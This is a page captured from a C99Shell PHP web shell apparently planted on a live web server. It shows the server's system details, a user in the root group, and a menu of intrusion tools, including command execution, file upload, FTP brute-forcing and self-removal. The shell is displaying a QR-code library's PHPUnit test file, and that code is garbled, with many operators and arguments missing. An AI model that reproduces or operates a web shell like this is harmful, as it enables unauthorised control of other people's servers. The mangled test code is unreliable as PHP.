!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/bacon/bacon-qr-code/test/Common/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BitMatrixTest.php (3.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
BaconQrCodeTest\Common;

use 
BaconQrCode\Common\BitArray;
use 
BaconQrCode\Common\BitMatrix;
use 
PHPUnit\Framework\TestCase;

class 
BitMatrixTest extends TestCase
{
    public function 
testGetSet() : void
    
{
        
$matrix = new BitMatrix(33);
        
$this->assertEquals(33$matrix->getHeight());

        for (
$y 0$y 33; ++$y) {
            for (
$x 0$x 33; ++$x) {
                if (
$y $x === 0) {
                    
$matrix->set($x$y);
                }
            }
        }

        for (
$y 0$y 33$y++) {
            for (
$x 0$x 33; ++$x) {
                
$this->assertSame(=== $x $y 3$matrix->get($x$y));
            }
        }
    }

    public function 
testSetRegion() : void
    
{
        
$matrix = new BitMatrix(5);
        
$matrix->setRegion(1133);

        for (
$y 0$y 5; ++$y) {
            for (
$x 0$x 5; ++$x) {
                
$this->assertSame($y >= && $y <= && $x >= && $x <= 3$matrix->get($x$y));
            }
        }
    }

    public function 
testRectangularMatrix() : void
    
{
        
$matrix = new BitMatrix(7520);
        
$this->assertSame(75$matrix->getWidth());
        
$this->assertSame(20$matrix->getHeight());

        
$matrix->set(100);
        
$matrix->set(111);
        
$matrix->set(502);
        
$matrix->set(513);
        
$matrix->flip(744);
        
$matrix->flip(05);

        
$this->assertTrue($matrix->get(100));
        
$this->assertTrue($matrix->get(111));
        
$this->assertTrue($matrix->get(502));
        
$this->assertTrue($matrix->get(513));
        
$this->assertTrue($matrix->get(744));
        
$this->assertTrue($matrix->get(05));

        
$matrix->flip(502);
        
$matrix->flip(513);

        
$this->assertFalse($matrix->get(502));
        
$this->assertFalse($matrix->get(513));
    }

    public function 
testRectangularSetRegion() : void
    
{
        
$matrix = new BitMatrix(320240);
        
$this->assertSame(320$matrix->getWidth());
        
$this->assertSame(240$matrix->getHeight());

        
$matrix->setRegion(105228012);

        for (
$y 0$y 240; ++$y) {
            for (
$x 0$x 320; ++$x) {
                
$this->assertEquals($y >= 22 && $y 34 && $x >= 105 && $x 185$matrix->get($x$y));
            }
        }
    }

    public function 
testGetRow() : void
    
{
        
$matrix = new BitMatrix(1025);

        for (
$x 0$x 102; ++$x) {
            if (
=== ($x 3)) {
                
$matrix->set($x2);
            }
        }

        
$array1 $matrix->getRow(2null);
        
$this->assertSame(102$array1->getSize());

        
$array2 = new BitArray(60);
        
$array2 $matrix->getRow(2$array2);
        
$this->assertSame(102$array2->getSize());

        
$array3 = new BitArray(200);
        
$array3 $matrix->getRow(2$array3);
        
$this->assertSame(200$array3->getSize());

        for (
$x 0$x 102; ++$x) {
            
$on = (=== ($x 3));

            
$this->assertSame($on$array1->get($x));
            
$this->assertSame($on$array2->get($x));
            
$this->assertSame($on$array3->get($x));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--